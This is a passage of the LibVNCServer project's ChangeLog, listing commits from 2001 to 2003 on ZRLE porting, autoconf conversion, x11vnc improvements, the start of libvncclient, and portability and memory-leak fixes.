zrle.cxx, zrleDecode.h, zrleEncode.h: remove original C++ ZRLE implementation. Its been ported to C. * NEWS: copy the existing ChangeLog to here and make this a more detailed ChangeLog. 7378 73792003-09-08 dscho <dscho> 7380 7381 * AUTHORS, ChangeLog, Makefile.am, Makefile.in, autogen.sh, 7382 classes/Makefile.in, config.h.in, configure, configure.ac, 7383 contrib/Makefile.in, examples/Makefile.in, 7384 libvncclient/Makefile.in, rfb/rfb.h, rfb/rfbproto.h, rfbserver.c, 7385 test/Makefile.in, vncterm/Makefile.in, zrle.c, 7386 zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, 7387 zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: ZRLE no 7388 longer uses C++, but C 7389 73902003-08-29 dscho <dscho> 7391 7392 * ChangeLog, Makefile.in, configure, configure.ac, 7393 libvncclient/Makefile.in, test/Makefile.in, vncterm/Makefile.in: 7394 added --disable-cxx flag to configure 7395 73962003-08-18 dscho <dscho> 7397 7398 * contrib/x11vnc.c: Karl Runge: 8bpp handling now much better, 7399 single window also, many improvements 7400 74012003-08-18 dscho <dscho> 7402 7403 * httpd.c, main.c, rfbserver.c, sockets.c: socklen_t -> size_t 7404 74052003-08-18 dscho <dscho> 7406 7407 * Makefile.in, aclocal.m4, classes/Makefile.in, config.h.in, 7408 contrib/Makefile.in, examples/Makefile.in, vncterm/Makefile.in: 7409 using autoconf 1.6 7410 74112003-08-09 dscho <dscho> 7412 7413 * README: added Projects section 7414 74152003-08-08 dscho <dscho> 7416 7417 * .cvsignore, classes/.cvsignore, libvncclient/.cvsignore, 7418 test/.cvsignore: more files to ignore 7419 74202003-08-08 dscho <dscho> 7421 7422 * libvncclient/rfbproto.c, libvncclient/tight.c, 7423 libvncclient/zlib.c, main.c, rfbserver.c: make --without-jpeg, 7424 --without-zlib work 7425 74262003-08-08 dscho <dscho> 7427 7428 * AUTHORS, configure, configure.ac: add --without-jpeg, 7429 --without-zlib; repair --without-backchannel, --without-24bpp 7430 74312003-08-08 dscho <dscho> 7432 7433 * httpd.c, sockets.c: handle EINTR after select() 7434 74352003-08-06 dscho <dscho> 7436 7437 * ChangeLog, auth.c, contrib/x11vnc.c, examples/fontsel.c, 7438 examples/mac.c, httpd.c, main.c, rfb/rfb.h, rfbregion.c, 7439 rfbserver.c, rre.c, sockets.c, translate.c, vncterm/LinuxVNC.c, 7440 vncterm/VNCommand.c, zlib.c: rfbErr introduced 7441 74422003-08-03 dscho <dscho> 7443 7444 * rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to 7445 LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary... 7446 74472003-08-02 dscho <dscho> 7448 7449 * config.h.in, configure, configure.ac: really check for setsid, not 7450 pgrp 7451 74522003-08-02 dscho <dscho> 7453 7454 * main.c: overlooked endian config.h constant 7455 74562003-08-02 dscho <dscho> 7457 7458 * config.h.in: required file 7459 74602003-08-01 dscho <dscho> 7461 7462 * README, configure, configure.ac: mention NEWS in README, add 7463 checks for fork and setpgrp 7464 74652003-07-31 dscho <dscho> 7466 7467 * ChangeLog: credit last two changes to Erik 7468 74692003-07-31 dscho <dscho> 7470 7471 * main.c, rfb/rfb.h, sockets.c: rfbLog can be overridden; EINTR on 7472 read/write means just try again 7473 74742003-07-30 dscho <dscho> 7475 7476 * Makefile.am, Makefile.in, rfb/rfb.h, rfb/rfbclient.h: add 7477 rfbclient.h to distribution; avoid C++ style comments 7478 74792003-07-30 dscho <dscho> 7480 7481 * AUTHORS, ChangeLog, Makefile.in, NEWS, README, acinclude.m4, 7482 aclocal.m4, auth.c, cargs.c, classes/Makefile.in, configure, 7483 configure.ac, contrib/Makefile.in, contrib/x11vnc.c, 7484 contrib/zippy.c, corre.c, cursor.c, cutpaste.c, draw.c, 7485 examples/Makefile.in, examples/example.c, examples/mac.c, 7486 examples/pnmshow.c, examples/pnmshow24.c, examples/vncev.c, font.c, 7487 hextile.c, httpd.c, libvncclient/Makefile.in, libvncclient/corre.c, 7488 libvncclient/cursor.c, libvncclient/hextile.c, 7489 libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, 7490 libvncclient/sockets.c, libvncclient/tight.c, 7491 libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, rfb/rfb.h, 7492 rfb/rfbclient.h, rfb/rfbconfig.h.in, rfb/rfbproto.h, 7493 rfb/rfbregion.h, rfbregion.c, rfbserver.c, rre.c, selbox.c, 7494 sockets.c, stats.c, test/Makefile.in, tight.c, translate.c, 7495 vncauth.c, vncterm/LinuxVNC.c, vncterm/Makefile.in, 7496 vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, 7497 zlib.c, zrle.cxx: API change: Bool, KeySym, Pixel get prefix "rfb"; 7498 constants in rfbconfig.h get prefix "LIBVNCSERVER_" 7499 75002003-07-29 dscho <dscho> 7501 7502 * cursor.c, libvncclient/client_test.c, libvncclient/rfbproto.c, 7503 libvncclient/vncviewer.c, main.c, rfb/rfb.h, rfb/rfbclient.h, 7504 test/tight-1.c, tight.c: further valgrinding showed leaked mallocs 7505 75062003-07-28 dscho <dscho> 7507 7508 * ChangeLog, README.cvs: adapted dox 7509 75102003-07-28 dscho <dscho> 7511 7512 * libvncclient/Makefile: is autoconfed now 7513 75142003-07-28 dscho <dscho> 7515 7516 * Makefile.am, Makefile.in, aclocal.m4, classes/Makefile.in, 7517 configure, configure.ac, contrib/Makefile.in, contrib/x11vnc.c, 7518 contrib/zippy.c, examples/1instance.c, examples/Makefile.in, 7519 examples/fontsel.c, examples/mac.c, examples/pnmshow.c, 7520 examples/pnmshow24.c, examples/vncev.c, libvncclient/Makefile, 7521 libvncclient/Makefile.am, libvncclient/Makefile.in, 7522 libvncclient/client_test.c, libvncclient/corre.c, 7523 libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, 7524 libvncclient/sockets.c, libvncclient/tight.c, 7525 libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, 7526 rdr/FdInStream.cxx, rdr/ZlibOutStream.cxx, rfb/rfb.h, 7527 rfb/rfbclient.h, rfb/rfbconfig.h.in, rfbregion.c, rfbserver.c, 7528 test/Makefile.am, test/Makefile.in, test/tight-1.c, tight.c, 7529 vncterm/LinuxVNC.c, vncterm/Makefile.in, vncterm/VNCommand.c, 7530 vncterm/VNConsole.c, vncterm/example.c: fixed maxRectsPerUpdate with 7531 Tight encoding bug; some autoconfing; stderr should not be used in a 7532 library (use rfbLog instead) 7533 75342003-07-28 dscho <dscho> 7535 7536 * test/tight-1.c: first beginnings of automatic tests, thanks to 7537 libvncclient 7538 75392003-07-28 dscho <dscho> 7540 7541 * ChangeLog, TODO, main.c, rfb/rfb.h, rfb/rfbregion.h, rfbregion.c, 7542 rfbserver.c, sockets.c, tight.c, vncauth.c: synced with TightVNC and 7543 RealVNC 7544 75452003-07-28 dscho <dscho> 7546 7547 * Makefile.am, Makefile.in, examples/Makefile.am, 7548 examples/Makefile.in: debug flags 7549 75502003-07-27 dscho <dscho> 7551 7552 * ChangeLog: libvncclient 7553 75542003-07-27 dscho <dscho> 7555 7556 * libvncclient/Makefile, libvncclient/corre.c, 7557 libvncclient/cursor.c, libvncclient/hextile.c, 7558 libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, 7559 libvncclient/sockets.c, libvncclient/tight.c, 7560 libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h, 7561 vncauth.c: first alpha version of libvncclient 7562 75632003-07-27 dscho <dscho> 7564 7565 * rfb/rfb.h, rfb/rfbproto.h, vncauth.c: make vncauth usable also for 7566 upcoming libvncclient 7567 75682003-07-25 dscho <dscho> 7569 7570 * ChangeLog, examples/.cvsignore, examples/Makefile.am, 7571 examples/Makefile.in, examples/simple.c, examples/simple15.c, 7572 index.html: Added simple examples 7573 75742003-07-11 dscho <dscho> 7575 7576 * rfb/rfbconfig.h, rfb/rfbint.h: these files are generated by 7577 configure 7578 75792003-07-11 dscho <dscho> 7580 7581 * ChangeLog, httpd.c: long standing bug in http; was sending .jar 7582 twice 7583 75842003-07-10 dscho <dscho> 7585 7586 * INSTALL, Makefile.in, aclocal.m4, classes/Makefile.in, configure, 7587 contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh, 7588 missing, mkinstalldirs, rfb/rfbconfig.h, rfb/rfbconfig.h.in, 7589 rfb/rfbint.h, rfb/stamp-h.in, vncterm/Makefile.in: another try to 7590 make CVS more helpful with configure 7591 75922003-07-10 dscho <dscho> 7593 7594 * Makefile.am, classes/Makefile.am, configure.ac: also distribute 7595 classes/ directory 7596 75972003-07-10 dscho <dscho> 7598 7599 * cargs.c: fix compile 7600 76012003-06-28 dscho <dscho> 7602 7603 * ChangeLog, cargs.c: http options inserted 7604 76052003-05-05 dscho <dscho> 7606 7607 * configure.ac: fix am__fastdepCXX for system not having ZLIB 7608 76092003-04-03 dscho <dscho> 7610 7611 * contrib/ChangeLog: added ChangeLog for x11vnc 7612 76132003-04-03 dscho <dscho> 7614 7615 * contrib/x11vnc.c: new version from Karl! 7616 76172003-02-28 dscho <dscho> 7618 7619 * Makefile.am, configure.ac, libvncserver-config.in: let 7620 libvncserver-config behave as expected when called without 7621 installing 7622 76232003-02-27 dscho <dscho> 7624 7625 * README.cvs: added some documentation how to compile from CVS 7626 sources 7627 76282003-02-21 dscho <dscho> 7629 7630 * rfb/rfb.h: #include <rfb/rfbregion.h> instead of #include 7631 "rfbregion.h" 7632 76332003-02-20 dscho <dscho> 7634 7635 * ChangeLog: update ChangeLog 7636 76372003-02-20 dscho <dscho> 7638 7639 * index.html: #include <rfb/rfb.h> instead of "rfb.h" 7640 76412003-02-20 dscho <dscho> 7642 7643 * contrib/Makefile.am, contrib/x11vnc.c, contrib/zippy.c, 7644 examples/Makefile.am, examples/colourmaptest.c, examples/example.c, 7645 examples/fontsel.c, examples/mac.c, examples/pnmshow.c, 7646 examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c, 7647 libvncserver-config.in, vncterm/Makefile.am, vncterm/VNConsole.h: 7648 the correct way to include rfb.h is now "#include <rfb/rfb.h>" 7649 76502003-02-19 dscho <dscho> 7651 7652 * index.html: webpage update 7653 76542003-02-19 dscho <dscho> 7655 7656 * rfb/.cvsignore: forgotten .cvsignore 7657 76582003-02-19 dscho <dscho> 7659 7660 * Makefile.am: fixed header installation into $(prefix)/include/rfb 7661 76622003-02-18 dscho <dscho> 7663 7664 * Makefile.am, configure.ac, include/.cvsignore, 7665 include/default8x16.h, include/keysym.h, include/rfb.h, 7666 include/rfbproto.h, include/rfbregion.h, rfb/default8x16.h, 7667 rfb/keysym.h, rfb/rfb.h, rfb/rfbproto.h, rfb/rfbregion.h: moved 7668 include/ to rfb/ 7669 76702003-02-18 dscho <dscho> 7671 7672 * sockets.c: fixed a bug when closing a client if no longer 7673 listening for new clients. 7674 76752003-02-17 dscho <dscho> 7676 7677 * cursor.c, include/rfb.h: export rfbReverseBytes; undefine VERSION, 7678 because it's too common 7679 76802003-02-17 dscho <dscho> 7681 7682 * INSTALL: INSTALL is copied by automake 7683 76842003-02-17 dscho <dscho> 7685 7686 * INSTALL: INSTALL was missing 7687 76882003-02-16 dscho <dscho> 7689 7690 * configure.ac, libvncserver-config.in: fixed --link option to 7691 libvncserver-config 7692 76932003-02-10 dscho <dscho> 7694 7695 * cvs_update_anonymously, include/rfbproto.h: cvs more flexible now; 7696 ZRLE encoding only when HAVE_ZRLE defined 7697 76982003-02-10 dscho <dscho> 7699 7700 * ChangeLog, rfbserver.c: really fixed ClientConnectionGone problem 7701 77022003-02-10 dscho <dscho> 7703 7704 * vncterm/LinuxVNC.c, vncterm/VNConsole.c: fixed LinuxVNC colours 7705 77062003-02-10 dscho <dscho> 7707 7708 * main.c, rfbserver.c: fixed a bug that prevented the first 7709 connection to be closed 7710 77112003-02-10 dscho <dscho> 7712 7713 * include/rfb.h: fixed pthread debugging (locks...) 7714 77152003-02-10 dscho <dscho> 7716 7717 * contrib/Makefile.am, examples/Makefile.am, vncterm/Makefile.am: 7718 fixed dependecy to libvncserver.a; if the lib is newer, the programs 7719 are relinked 7720 77212003-02-10 dscho <dscho> 7722 7723 * go: removed superfluous file 7724 77252003-02-10 dscho <dscho> 7726 7727 * examples/.cvsignore, examples/Makefile.am, 7728 examples/colourmaptest.c, vncterm/VNConsole.c: added 7729 colourmapexample; fixed LinuxVNC to show the right colours 7730 77312003-02-09 dscho <dscho> 7732 7733 * ChangeLog: vncterm imported, porting issues solved (IRIX, OS X, 7734 Solaris) 7735 77362003-02-09 dscho <dscho> 7737 7738 * configure.ac, examples/Makefile.am, examples/mac.c, 7739 vncterm/Makefile.am, vncterm/VNCommand.c: support for OS X is better 7740 now 7741 77422003-02-09 dscho <dscho> 7743 7744 * configure.ac, examples/Makefile.am: trying again to support OS X 7745 77462003-02-09 dscho <dscho> 7747 7748 * Makefile.am, configure.ac, examples/.cvsignore, 7749 vncterm/.cvsignore, vncterm/ChangeLog, vncterm/LinuxVNC.c, 7750 vncterm/Makefile.am, vncterm/README, vncterm/TODO, 7751 vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, 7752 vncterm/example.c, vncterm/vga.h: included vncterm 7753 77542003-02-09 dscho <dscho> 7755 7756 * .cvsignore, configure.ac, examples/mac.c, mac.c: moved the 7757 OSXvnc-server to examples; IRIX fixes (not really IRIX, but shows 7758 there) 7759 77602003-02-09 dscho <dscho> 7761 7762 * Makefile.am, examples/Makefile.am, examples/regiontest.c, 7763 examples/sratest.c, include/rfbregion.h, main.c, rfbregion.c, 7764 rfbserver.c, sraRegion.c, sraRegion.h, translate.c: renamed 7765 sraRegion to rfbregion and put it in include/; will be installed now 7766 77672003-02-09 dscho <dscho> 7768 7769 * ChangeLog: portability changes 7770 77712003-02-09 dscho <dscho> 7772 7773 * configure.ac: order of X libraries is not good for IRIX 7774 77752003-02-09 dscho <dscho> 7776 7777 * configure.ac, main.c: include order was wrong 7778 77792003-02-09 dscho <dscho> 7780 7781 * Makefile.in, configure, contrib/Makefile.in, examples/Makefile.in: 7782 source from CVS always will need a current autoconf/automake 7783 77842003-02-09 dscho <dscho> 7785 7786 * Makefile.in, acinclude.m4, configure, contrib/Makefile.in, 7787 examples/Makefile.in: I give up supporting old autoconf/automake; 7788 now require at least 2.52 7789 77902003-02-09 dscho <dscho> 7791 7792 * acinclude.m4: more macros included for older autoconf/automake 7793 77942003-02-09 dscho <dscho> 7795 7796 * Makefile.am, TODO, acinclude.m4, auth.c, configure.ac, 7797 contrib/x11vnc.c, corre.c, cursor.c, cutpaste.c, hextile.c, 7798 httpd.c, include/.cvsignore, include/rfb.h, include/rfbproto.h, 7799 main.c, rfbserver.c, rre.c, sockets.c, sraRegion.c, stats.c, 7800 tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c, 7801 tabletrans24template.c, tabletranstemplate.c, tight.c, translate.c, 7802 vncauth.c, zlib.c, zrle.cxx: converted CARD{8,16,32} to 7803 uint{8,16,32}_t and included support for stdint.h 7804 78052003-02-09 dscho <dscho> 7806 7807 * .cvsignore: ignore libvncserver-config 7808 78092003-02-09 dscho <dscho> 7810 7811 * configure.ac, include/rfb.h, main.c: bigendian is now determined 7812 at configure time 7813 78142003-02-09 dscho <dscho> 7815 7816 * index.html: added website 7817 78182003-02-09 dscho <dscho> 7819 7820 * Makefile.am, configure.ac: small adjustments for autoconf/automake 7821 compatibility 7822 78232003-02-09 dscho <dscho> 7824 7825 * Makefile.am, configure.ac, contrib/Makefile.am, 7826 examples/Makefile.am, examples/vncev.c, libvncserver-config.in, 7827 libvncserver.spec.in: make dist fixed; make rpm introduced 7828 78292003-02-08 dscho <dscho> 7830 7831 * .cvsignore, Makefile, bootstrap.sh, contrib/.cvsignore, 7832 contrib/Makefile, examples/.cvsignore, examples/Makefile: removed 7833 Makefiles; these are generated now 7834 78352003-02-08 dscho <dscho> 7836 7837 * .cvsignore, contrib/.cvsignore, examples/.cvsignore, 7838 libvncserver.spec.in: ignore generated files 7839 78402003-02-08 dscho <dscho> 7841 7842 * contrib/.cvsignore, examples/.cvsignore, examples/blooptest.c, 7843 examples/sratest.c, include/.cvsignore: missing files 7844 78452003-02-08 dscho <dscho> 7846 7847 * AUTHORS, CHANGES, ChangeLog, NEWS, TODO: further autoconf'ing 7848 78492003-02-08 dscho <dscho> 7850 7851 * Makefile, Makefile.am, TODO, bootstrap.sh, configure.ac, 7852 contrib/Makefile, contrib/Makefile.am, examples/Makefile, 7853 examples/Makefile.am, examples/example.c, include/rfb.h, 7854 include/rfbproto.h, main.c, rfbserver.c, sockets.c, tight.c, 7855 zlib.c, zrle.cc, zrle.cxx: autoconf'ed everything 7856 78572003-02-07 dscho <dscho> 7858 7859 * examples/.cvsignore, examples/radon.h: added files 7860 78612003-02-07 dscho <dscho> 7862 7863 * cvs_update_anonymously, examples/Makefile: added Makefile in 7864 examples; "export" in cvs_update_anonymously 7865 78662003-02-07 dscho <dscho> 7867 7868 * 1instance.c, Makefile, contrib/Makefile, contrib/zippy.c, 7869 default8x16.h, examples/1instance.c, examples/pnmshow24.c, 7870 include/default8x16.h, include/keysym.h, include/rfb.h, 7871 include/rfbproto.h, keysym.h, main.c, radon.h, rfb.h, rfbproto.h: 7872 moved files to include; moved a file to examples/ 7873 78742003-02-07 dscho <dscho> 7875 7876 * CHANGES, example.c, example.dsp, examples/example.c, 7877 examples/example.dsp, examples/fontsel.c, examples/pnmshow.c, 7878 examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c, 7879 fontsel.c, pnmshow.c, pnmshow24.c, storepasswd.c, vncev.c: moved 7880 files to contrib/ and examples/ 7881 78822002-12-30 dscho <dscho> 7883 7884 * CHANGES, cargs.c: fixed cargs (segmentation fault!) 7885 78862002-12-25 dscho <dscho> 7887 7888 * contrib/x11vnc.c: strange, but standard X11 behaviour from Sun 7889 keymappings... 7890 78912002-12-20 dscho <dscho> 7892 7893 * contrib/x11vnc.c: include commented debug functionality 7894 78952002-12-20 dscho <dscho> 7896 7897 * contrib/x11vnc.c: AltGr fixes in x11vnc, renamed from altgr to 7898 modtweak 7899 79002002-12-20 dscho <dscho> 7901 7902 * Makefile: fixed compilation for zippy 7903 79042002-12-20 dscho <dscho> 7905 7906 * contrib/Makefile: Makefile for contrib 7907 79082002-12-19 dscho <dscho> 7909 7910 * contrib/x11vnc.c, contrib/zippy.c: new version of x11vnc from Karl 7911 Runge 7912 79132002-12-15 dscho <dscho> 7914 7915 * contrib/x11vnc.c: small fixes: in X11/Xlib.h Bool is int (Karl 7916 Runge); indexed colour support 7917 79182002-12-15 dscho <dscho> 7919 7920 * Makefile, rfbserver.c: fix: if no CXX is defined, really don't use 7921 zrle (Karl Runge) 7922 79232002-12-06 dscho <dscho> 7924 7925 * CHANGES, Makefile, contrib/x11vnc.c, contrib/zippy.c, httpd.c, 7926 main.c, rfb.h, x11vnc.c, zippy.c: compiler warnings, contrib 7927 directory, new x11vnc from Karl Runge 7928 79292002-10-29 dscho <dscho> 7930 7931 * CHANGES, main.c, rfbserver.c: fixed severe bug with sending 7932 fbupdates 7933 79342002-10-29 dscho <dscho> 7935 7936 * CHANGES, README, cursor.c, main.c, rfb.h, rfbproto.h, 7937 rfbserver.c, stats.c: patch from Const for CursorPosUpdate encoding 7938 79392002-10-22 dscho <dscho> 7940 7941 * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h, 7942 rdr/FdOutStream.cxx, rdr/FdOutStream.h, rdr/FixedMemOutStream.h, 7943 rdr/InStream.cxx, rdr/InStream.h, rdr/MemInStream.h, 7944 rdr/MemOutStream.h, rdr/NullOutStream.cxx, rdr/NullOutStream.h, 7945 rdr/OutStream.h, rdr/ZlibInStream.cxx, rdr/ZlibInStream.h, 7946 rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, rdr/types.h: rdr 7947 79482002-10-22 dscho <dscho> 7949 7950 * Makefile, corre.c, cvs_update_anonymously, httpd.c, main.c, 7951 rfb.h, rfbproto.h, rfbserver.c, stats.c, zrle.cc, zrleDecode.h, 7952 zrleEncode.h: updated to vnc-3.3.4 (ZRLE encoding) 7953 79542002-08-31 dscho <dscho> 7955 7956 * x11vnc.c: patch for IRIX 7957 79582002-08-31 dscho <dscho> 7959 7960 * cvs_update_anonymously, httpd.c, rfbserver.c, vncauth.c: socket 7961 via proxy gets options set, compiler warning fixes 7962 79632002-08-31 dscho <dscho> 7964 7965 * Makefile, cvs_update_anonymously, httpd.c, mac.c, pnmshow24.c, 7966 vncev.c, x11vnc.c, zippy.c: compiler warnings and format 7967 vulnerabilities fixed 7968 79692002-08-27 dscho <dscho> 7970 7971 * Makefile, httpd.c: IRIX changes 7972 79732002-08-22 dscho <dscho> 7974 7975 * CHANGES: changes 7976 79772002-08-22 dscho <dscho> 7978 7979 * classes/javaviewer.pseudo_proxy.patch, example.c, httpd.c, 7980 main.c, rfb.h: a pseudo HTTP request for tunnelling (also via strict 7981 Web Proxy) was added. 7982 79832002-08-22 dscho <dscho> 7984 7985 * classes/index.vnc, httpd.c, vncauth.c: synchronized with tightVNC 7986 1.2.5 7987 79882002-08-19 dscho <dscho> 7989 7990 * Makefile, auth.c, cursor.c, example.c, httpd.c, main.c, 7991 pnmshow.c, rfb.h, rfbserver.c, sraRegion.c, sraRegion.h, tight.c, 7992 vncauth.c: unwarn compilation 7993 79942002-07-28 dscho <dscho> 7995 7996 * CHANGES, README: prepare for version 0.4 7997 79982002-07-28 dscho <dscho> 7999 8000 * CHANGES, classes/index.vnc, example.c, httpd.c, main.c, rfb.h, 8001 rfbproto.h, rfbserver.c, stats.c: NewFB encoding added 8002 80032002-06-13 dscho <dscho> 8004 8005 * main.c, rfbserver.c, sockets.c: pthread fix 8006 80072002-05-03 dscho <dscho> 8008 8009 * Makefile, rfb.h: solaris fixes (INADDR_NONE) 8010 80112002-05-02 dscho <dscho> 8012 8013 * selbox.c: index was shadowed 8014 80152002-05-02 dscho <dscho> 8016 8017 * cursor.c, font.c, httpd.c, main.c, rfb.h, rfbserver.c, sockets.c, 8018 sraRegion.c, stats.c, tableinit24.c, tight.c, translate.c: Tim's 8019 Changes 8020 80212002-04-30 dscho <dscho> 8022 8023 * cargs.c, rfb.h: command line handling 8024 80252002-04-30 dscho <dscho> 8026 8027 * Makefile, mac.c: more mac 8028 80292002-04-30 dscho <dscho> 8030 8031 * mac.c: dimming for mac 8032 80332002-04-30 dscho <dscho> 8034 8035 * mac.c: Mac compile fix 8036 80372002-04-25 dscho <dscho> 8038 8039 * Makefile, x11vnc.c: x11vnc memleaks patched 8040 80412002-04-25 dscho <dscho> 8042 8043 * CHANGES, cursor.c, example.c, main.c, rfbserver.c: memleaks 8044 patched 8045 80462002-04-25 dscho <dscho> 8047 8048 * mac.c: now colour handling should be correct 8049 80502002-04-24 dscho <dscho> 8051 8052 * main.c: bug for 3 bpp planes (as Mac OSX) 8053 80542002-04-23 dscho <dscho> 8055 8056 * CHANGES, classes/index.vnc, httpd.c, rfbserver.c, sockets.c: sync 8057 with TightVNC 1.2.3 8058 80592002-04-23 dscho <dscho> 8060 8061 * Makefile, mac.c: OSXvnc-server compile fixes 8062 80632002-04-23 dscho <dscho> 8064 8065 * CHANGES, Makefile, rfb.h: another solaris clean compile 8066 80672002-04-23 dscho <dscho> 8068 8069 * x11vnc.c: KBDDEBUG 8070 80712002-04-23 dscho <dscho> 8072 8073 * main.c, rfb.h: solaris endian changes 8074 80752002-03-04 dscho <dscho> 8076 8077 * Makefile, rfbserver.c, sockets.c: reverted exception fds to NULL, 8078 because of unexpected behaviour 8079 80802002-02-19 dscho <dscho> 8081 8082 * CHANGES: changes 8083 80842002-02-18 dscho <dscho> 8085 8086 * sockets.c: select exceptfds 8087 80882002-02-18 dscho <dscho> 8089 8090 * README, cursor.c, example.c, httpd.c, main.c, rfb.h, rfbserver.c, 8091 sockets.c, tight.c, translate.c: changes from Tim Jansen: threading 8092 issues, new client can be rejected, and more 8093 80942002-01-17 dscho <dscho> 8095 8096 * 1instance.c, Makefile: compile warning fix, dependency on 8097 1instance.c 8098 80992002-01-17 dscho <dscho> 8100 8101 * mac.c: compile warning fix 8102 81032002-01-17 dscho <dscho> 8104 8105 * font.c, rfb.h, rfbproto.h, rfbserver.c, vncauth.c: correct 8106 BackChannel handling, compile cleanups 8107 81082002-01-16 dscho <dscho> 8109 8110 * mac.c: compile fix 8111 81122002-01-16 dscho <dscho> 8113 8114 * 1instance.c, Makefile, cargs.c, mac.c, rfb.h, rfbproto.h, 8115 rfbserver.c, x11vnc.c: clean ups and encoding "backchannel" 8116 81172002-01-14 dscho <dscho> 8118 8119 * mac.c: fixed compile on MAC 8120 81212002-01-14 dscho <dscho> 8122 8123 * mac.c: toggle view only with OSX 8124 81252002-01-14 dscho <dscho> 8126 8127 * 1instance.c, x11vnc.c: view mode now toggleable 8128 81292001-12-21 dscho <dscho> 8130 8131 * mac.c, x11vnc.c: shared mode added 8132 81332001-12-14 dscho <dscho> 8134 8135 * cargs.c, main.c: *argc=0 in cargs allowed, when copying area, 8136 first undraw cursor ... 8137 81382001-12-11 dscho <dscho> 8139 8140 * mac.c: fixed osx compiling 8141 81422001-12-09 dscho <dscho> 8143 8144 * Makefile, mac.c: Makefile cleanup, some special options for OSX 8145 81462001-12-09 dscho <dscho> 8147 8148 * x11vnc.c: tile modus now near perfect (shm's better though) 8149 81502001-12-08 dscho <dscho> 8151 8152 * x11vnc.c: start to probe single pixels for updates 8153 81542001-11-27 dscho <dscho> 8155 8156 * TODO, x11vnc.c: fixed dumb XTestFakeInput bug 8157 81582001-11-27 dscho <dscho> 8159 8160 * TODO, x11vnc.c: removed XTestGrabControl. Doesn't really solve the 8161 problem of a bad param. 8162 81632001-11-27 dscho <dscho> 8164 8165 * TODO, x11vnc.c: few changes 8166 81672001-11-27 dscho <dscho> 8168 8169 * Makefile, x11vnc.c: input works on other X11 servers than XFree86 8170 81712001-11-26 dscho <dscho> 8172 8173 * TODO, x11vnc.c: no crash when display was wrong 8174 81752001-11-26 dscho <dscho> 8176 8177 * TODO: todo 8178 81792001-11-25 dscho <dscho> 8180 8181 * x11vnc.c: init keyboard now takes correct display 8182 81832001-11-23 dscho <dscho> 8184 8185 * x11vnc.c: keyboard handling now works. 8186 81872001-11-22 dscho <dscho> 8188 8189 * x11vnc.c: added cmd line parameters 8190 81912001-11-21 dscho <dscho> 8192 8193 * CHANGES: changes 8194 81952001-11-20 dscho <dscho> 8196 8197 * x11vnc.c: shm works again 8198 81992001-11-20 dscho <dscho> 8200 8201 * Makefile, x11vnc.c: missing include for XTest 8202 82032001-11-19 dscho <dscho> 8204 8205 * x11vnc.c: x11vnc now works with colour maps 8206 82072001-11-19 dscho <dscho> 8208 8209 * x11vnc.c: tmp 8210 82112001-11-19 dscho <dscho> 8212 8213 * x11vnc.c: first support for colourmaps 8214 82152001-11-19 dscho <dscho> 8216 8217 * Makefile, x11vnc.c: works, but loads high 8218 82192001-11-19 dscho <dscho> 8220 8221 * cargs.c, main.c, rfb.h: cmdline arg -passwd added 8222 82232001-11-19 dscho <dscho> 8224 8225 * Makefile, x11vnc.c: x11vnc now works view only and with SHM 8226 82272001-11-18 dscho <dscho> 8228 8229 * Makefile, example.c, main.c, rfb.h, rfbserver.c, x11vnc.c: start 8230 x11vnc, an x0rfbserver clone 8231 82322001-11-15 dscho <dscho> 8233 8234 * example.dsp, libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, 8235 rfbserver.c, sockets.c: Visual C++ / win32 compatibility 8236 reestablished 8237 82382001-11-14 dscho <dscho> 8239 8240 * Makefile, TODO, font.c: docu, warning fixed 8241 82422001-11-14 dscho <dscho> 8243 8244 * CHANGES: changes 8245 82462001-11-14 dscho <dscho> 8247 8248 * cargs.c: separated argument handling from main.c 8249 82502001-11-14 dscho <dscho> 8251 8252 * Makefile, d3des.h, example.c, fontsel.c, keysym.h, mac.c, main.c, 8253 pnmshow.c, pnmshow24.c, rfb.h, rfbproto.h, sraRegion.h, vncev.c, 8254 zippy.c: changes from Justin, zippy added 8255 82562001-11-08 dscho <dscho> 8257 8258 * main.c: gettimeofday for windows 8259 82602001-10-25 dscho <dscho> 8261 8262 * Makefile, main.c, rfbserver.c, sraRegion.c, sraRegion.h: clean ups 8263 82642001-10-19 dscho <dscho> 8265 8266 * CHANGES: changes 8267 82682001-10-18 dscho <dscho> 8269 8270 * Makefile, TODO, draw.c, main.c, rfb.h, vncev.c: add rfbDrawLine, 8271 rfbDrawPixel and vncev, an xev "lookalike" 8272 82732001-10-16 dscho <dscho> 8274 8275 * main.c: scheduleCopyRegion no longer sends frameBufferUpdates (no 8276 longer clobbers deferring) 8277 82782001-10-16 dscho <dscho> 8279 8280 * CHANGES, TODO, main.c, rfb.h, rfbserver.c: deferUpdate 8281 82822001-10-16 dscho <dscho> 8283 8284 * TODO, font.c, rfbserver.c: font errors, requestedRegion bug 8285 82862001-10-15 dscho <dscho> 8287 8288 * .gdb_history: unneccessary file 8289 82902001-10-13 dscho <dscho> 8291 8292 * font.c: INT_MAX maybe not defined 8293 82942001-10-13 dscho <dscho> 8295 8296 * TODO: todo 8297 82982001-10-13 dscho <dscho> 8299 8300 * CHANGES, Makefile, README, TODO, auth.c, bdf2c.pl, 8301 consolefont2c.pl, cursor.c, default8x16.h, draw.c, font.c, 8302 fontsel.c, keysym.h, main.c, radon.h, rfb.h, selbox.c: rfbSelectBox, 8303 consoleFonts, too many changes 8304 83052001-10-12 dscho <dscho> 8306 8307 * Makefile: changes to Makefile 8308 83092001-10-12 dscho <dscho> 8310 8311 * README, rfb.h, rfbserver.c: cleanups 8312 83132001-10-11 dscho 